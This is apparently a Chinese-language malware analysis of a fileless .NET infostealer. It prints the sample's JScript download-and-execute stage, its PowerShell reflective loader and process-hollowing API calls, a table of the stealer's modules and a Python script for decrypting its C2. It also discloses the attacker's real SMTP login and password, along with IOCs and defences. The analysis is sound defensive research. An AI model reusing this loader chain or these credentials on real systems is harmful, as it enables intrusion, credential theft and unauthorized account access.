深度拆解:利用 WSF 与 .NET 反射注入的无文件窃密木马(附 C2 解密)
摘要:本文分析一个高度隐蔽的 .NET 窃密木马,其通过 .wsf → RC4 加密 PowerShell → .NET 反射注入的多层攻击链,将窃密载荷注入 aspnet_compiler.exe 进程,并通过 SMTP 邮箱回传数据。本文完整还原其解密逻辑,披露真实 C2,并提供防御方案。
1. 样本概览
- 初始载体:
malicious.wsf(Windows Script File)
- 样本SHA1:
CA22BD8D07FCCE4376F33099CF77C0634BCBEAD2
- 内嵌恶意地址:
https://rossiwebtest[.]it/ax/Server_Encrypted.ps1
- 最终载荷:.NET 窃密木马(PE 文件,以十进制数组形式嵌入)
- 技术特点:
- 多层加密(RC4 + AES-CBC)
- 无文件执行(内存加载)
- 反射式注入(Reflective Injection)
- 合法进程伪装(
aspnet_compiler.exe)
- 多通道回传(当前启用 SMTP)
2. 攻击链全景图
3. 第一层:WSF 脚本行为
.wsf 文件嵌入混淆 JScript,核心逻辑如下:
// 从网络下载加密 PS1
http.open("GET", "https://rossiwebtest[.]it/ax/Server_Encrypted.ps1", false);
http.send();
// 保存并执行
fso.CreateTextFile("C:\\Temp\\X.ps1").Write(decrypted);
shell.Run('powershell.exe -nop -ep bypass -file "C:\\Temp\\X.ps1"');
✅ 规避点:
- 使用合法
.wsf 格式绕过邮件网关;
- 仅下载+运行。
4. 第二层:解密并执行PowerShell
使用 RC4 算法解密内嵌脚本:
# 1. 加密RC4字符串
$encryptedHex = 'xxx'
# 2. RC4密钥
$keyHex = '9ec4b132c2ba9e8b0052b2440b20253d'
# 3. 解密并运行
$decryptedScript = Decrypt-RC4Data -encryptedData $encryptedData -key $key
if ($decryptedScript) {
# 执行解密后脚本
Invoke-Expression $decryptedScript}
else {Write-Error "Failed to decrypt the script using RC4"}
⚠️ 关键:全程无磁盘写入,规避文件扫描。
5. 第三层:PowerShell 加载器
解密后的 .ps1 包含两部分:
# 1. Base64 编码的 .NET 加载器(BLACKHAWK.DOWN)
$base64Assembly = 'TVqQAAMAAAAEAAAA...'
# 2. 十进制字节数组(窃密病毒 PE 文件)
$ExecutionPayload = @(77,90,144,0,3,0,...)
# 3. 内存加载并调用
$assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64Assembly))
$assembly.GetType("BLACKHAWK.DOWN").GetMethod("SHOOT").Invoke($null, @("C:\Windows\...\aspnet_compiler.exe", $ExecutionPayload))
⚠️ 关键:全程无磁盘写入,规避文件扫描。
6. 核心:反射式注入(Reflective Injection)
.NET 加载器
BLACKHAWK.DOWN.SHOOT 实现标准反射加载:
-
创建挂起进程
CreateProcess("aspnet_compiler.exe", ..., CREATE_SUSPENDED);
-
解析 PE 结构
-
映射到目标进程
IntPtr remoteBase = VirtualAllocEx(hProcess, imageBase, sizeOfImage, ...);
WriteProcessMemory(hProcess, remoteBase, payload, ...);
-
修复重定位 & IAT
-
恢复执行
SetThreadContext(hThread, &context); // EIP = AddressOfEntryPoint
ResumeThread(hThread);
✅ 优势:
- 无文件落地;
- 使用微软签名进程(
aspnet_compiler.exe)伪装;
- 绕过大多数 EDR 的静态检测。
7. 窃密木马功能
注入的 .NET 程序(Stub.Program)具备完整窃密能力:
病毒信息
| 模块名称(Token) |
推断功能 |
详细说明 |
AesGcm |
高级加密解密 |
使用 AES-GCM 算法解密 C2 配置或载荷(认证加密) |
AntiAnalysis |
反沙箱/反调试 |
检测虚拟机、调试器、分析工具,触发自毁 |
ASN1DER |
证书/密钥解析 |
解析 ASN.1 DER 编码的证书或私钥(如浏览器证书存储) |
BCrypt |
Windows 加密 API 封装 |
调用 BCrypt 系列函数实现底层加密操作 |
BrowserCrypto |
浏览器加密数据恢复 |
解密 Chrome/Edge 的加密 Cookie 或密码(使用 DPAPI 或主密钥) |
BrowserWallets |
浏览器加密钱包窃取 |
窃取 MetaMask、Phantom 等扩展钱包的密钥文件 |
ChromiumRecovery |
Chromium 浏览器数据提取 |
从 Chrome/Edge/Brave 等提取密码、历史、Cookie |
ClipLogger |
剪贴板监控 |
实时记录剪贴板内容(密码、钱包地址、2FA 令牌) |
Clipper |
加密货币地址替换 |
监控剪贴板,将 BTC/ETH 等地址替换为攻击者地址 |
Config |
全局配置管理 |
存储 C2 地址、功能开关、版本号等(含加密字段) |
Counter |
窃取数据统计 |
计数窃取的凭据数量(如 FtpHosts++) |
DataExtractionStructs |
数据结构定义 |
定义窃取数据的结构体(如 FileZillaInfo) |
DesktopWallets |
桌面钱包窃取 |
窃取 Exodus、Electrum、Atomic 等本地钱包文件 |
Discord |
Discord 会话窃取 |
提取 Discord 令牌、聊天记录、本地缓存 |
DiscordSendLogs |
Discord 回传 |
通过 Webhook 将窃取数据上传至 Discord |
Downloader |
无文件下载执行 |
从 C2 下载并内存执行第二阶段载荷 |
FileGrabber |
文件搜索与过滤 |
按扩展名/路径扫描敏感文件(文档、数据库、源码) |
FileZilla |
FTP 客户端凭据窃取 |
解析 FileZilla XML 配置,提取服务器/用户名/密码 |
FoxMail |
Foxmail 邮件客户端窃取 |
提取 Foxmail 账户、邮件、联系人 |
FtpSendLogs |
FTP 回传 |
将数据打包上传至攻击者 FTP 服务器 |
GeckoRecovery |
Firefox 数据提取 |
从 Firefox(Gecko 引擎)提取密码、Cookie |
GrabbedFiles |
文件窃取主控 |
协调文件搜索、压缩、上传流程 |
HeavensGate |
32/64 位跨架构调用 |
在 64 位系统中调用 32 位 API(或反之),绕过检测 |
Keylogger |
键盘记录器 |
全局钩子记录按键,关联窗口标题(如 "Gmail - Chrome") |
Logging |
内部日志记录 |
记录操作日志(用于调试或追踪执行流程) |
Melt |
文件隐藏/自删除 |
设置文件为隐藏+系统属性,或删除自身 |
MutexControl |
单实例运行控制 |
创建互斥体防止多次运行(Mutex: 5EUV2...) |
Outlook |
Outlook 邮件窃取 |
提取 Outlook 账户、邮件、联系人(通过 MAPI 或本地文件) |
Password Based Decryption |
基于密码的解密 |
使用用户密码派生密钥解密数据(如 DPAPI 替代方案) |
Paths |
路径管理 |
定义敏感目录(AppData、ProgramData、桌面等) |
PBKDF2 |
密钥派生 |
实现 PBKDF2 算法(用于 StringsCrypt 解密) |
Program |
主程序入口 |
包含 Main(),协调所有模块启动 |
Reports |
报告生成 |
将窃取数据汇总为文本/ZIP 报告 |
Screenshot |
屏幕截图 |
定时截取全屏或活动窗口 |
Self Destruct |
自毁机制 |
删除自身并退出进程(防分析) |
SharpInjector |
进程注入引擎 |
实现反射式 DLL/EXE 注入(替代 BLACKHAWK.DOWN) |
SmtpSendLogs |
SMTP 回传 |
通过 SMTP 邮箱发送窃取数据(当前启用通道) |
Sqllite3Parser |
SQLite 数据库解析 |
解析浏览器/应用的 SQLite 数据库(如 Login Data) |
StartDelay |
启动延迟 |
延迟执行以绕过沙箱(沙箱通常只运行 30-60 秒) |
Startup |
持久化 |
添加开机启动项(注册表 HKCU\...\Run) |
StringsCrypt |
字符串解密 |
解密硬编码的 C2 配置(AES-CBC + PBKDF2) |
Systeminfo |
系统信息收集 |
获取用户名、计算机名、CPU/GPU 型号、文化信息等 |
Telegram / TelegramSendLogs |
Telegram 回传 |
通过 Telegram Bot API 发送数据(当前未启用) |
TripleDES |
3DES 加密支持 |
可能用于兼容旧版加密数据 |
UploadTo |
多通道上传 |
封装 Discord/FTP/SMTP/Telegram 上传逻辑 |
Utils / Utils64 |
工具函数 |
文件读写、内存操作、编码转换等辅助功能 |
Wifi |
Wi-Fi 凭据窃取 |
导出保存的 Wi-Fi 网络名称和密码(netsh wlan export) |
WinScp |
WinSCP 凭据窃取 |
解析 WinSCP INI 配置文件,提取 SFTP/FTP 凭据 |
ZipManager |
ZIP 压缩 |
将窃取数据打包为加密 ZIP(密码由 GenerateRandomData 生成) |
8. C2 配置解密
配置解密
8.1 加密机制
- 算法:AES-256-CBC
- KDF:PBKDF2(SHA1, salt, 1000)
- 密钥/盐:硬编码在
StringsCrypt 类中
8.2 Python 解密脚本
import base64
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import sys
# === 从 StringsCrypt 类中提取的硬编码数据 ===
CRYPT_KEY = bytes([
59, 38, 75, 70, 33, 77, 33, 104, 56, 94,
105, 84, 58, 60, 41, 97, 63, 126, 109, 88,
101, 78, 42, 126, 111, 63, 103, 78, 91, 118,
64, 114, 81, 61, 66
])
SALT_BYTES = bytes([
102, 51, 111, 51, 75, 45, 49, 49, 61, 71,
45, 78, 55, 86, 74, 116, 111, 122, 79, 87,
82, 114, 61, 40, 116, 78, 90, 66, 102, 75,
43, 98, 83, 55, 70, 121
])
# === 加密的配置值(从 Config 类复制)===
ENCRYPTED_VALUES = {
"SmtpServer": "wWT3WS7EbPWc6s4M65ESWElcwtZcx5jJu6kl0xx2Yg8=",
"SmtpSender": "uZqIJiL9lOhy02a3zALh29rCp2zHQIv/oNg0887hb5o=",
"SmtpPassword": "s53zFyH1h548tsJUnMGdLw==",
"SmtpReceiver": "uZqIJiL9lOhy02a3zALh29rCp2zHQIv/oNg0887hb5o="
}
def decrypt_config(encrypted_b64: str) -> str:
# 1. Base64 解码密文
ciphertext = base64.b64decode(encrypted_b64)
# 2. 使用 PBKDF2 生成密钥和 IV
kdf = PBKDF2HMAC(
algorithm=hashes.SHA1(), # .NET 的 Rfc2898DeriveBytes 默认用 SHA1
length=32 + 16, # 32字节密钥 + 16字节IV
salt=SALT_BYTES,
iterations=1000,
)
key_iv = kdf.derive(CRYPT_KEY)
key = key_iv[:32] # AES-256 密钥
iv = key_iv[32:48] # CBC 模式 IV (16字节)
# 3. AES-CBC 解密
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
# 4. 移除 PKCS7 填充
pad_len = plaintext[-1]
if pad_len < 1 or pad_len > 16:
raise ValueError("Invalid padding")
plaintext = plaintext[:-pad_len]
return plaintext.decode('utf-8')
# === 解密并输出结果 ===
print("🔍 正在解密 SMTP C2 配置...\n")
try:
for name, encrypted in ENCRYPTED_VALUES.items():
decrypted = decrypt_config(encrypted)
print(f"{name:15}: {decrypted}")
print("\n✅ C2 配置还原成功!")
except Exception as e:
print(f"❌ 解密失败: {e}")
sys.exit(1)
8.3 真实 C2 暴露
| 字段 |
值 |
| SMTP 服务器 |
mail.privateemail.com |
| 发件/收件邮箱 |
mn@nevermind.cfd |
| 密码 |
freeman123@@@ |
🔍 分析:
privateemail.com 是 Namecheap 邮箱服务,常被滥用;
.cfd 域名成本低、匿名性高,是攻击者首选。
9. IOC 与防御建议
9.1 网络 IOC
nevermind.cfd
mail.privateemail.com
rossiwebtest.it
9.2 主机 IOC
Mutex: 5EUV2NE8WAZNK6134F5Z
进程: aspnet_compiler.exe (异常子进程)
文件: C:\Temp\*.ps1 (随机名)
9.3 防御措施
终端防护
网络层
企业级
- EDR 检测规则:
监控 CREATE_SUSPENDED + WriteProcessMemory + ResumeThread 序列;
- 用户教育:
切勿在 FileZilla 中保存密码!
10. 结语
该样本代表了现代窃密木马的典型趋势:无文件、多层加密、合法进程伪装、灵活回传。防御此类威胁,不能仅依赖传统杀毒软件,而需结合:
- 行为分析(监控异常进程注入);
- 网络流量检测(识别 C2 通信);
- 最小权限原则(限制脚本执行)。
作者:神奇的人鱼
声明:本文仅用于技术研究与防御,严禁用于非法用途。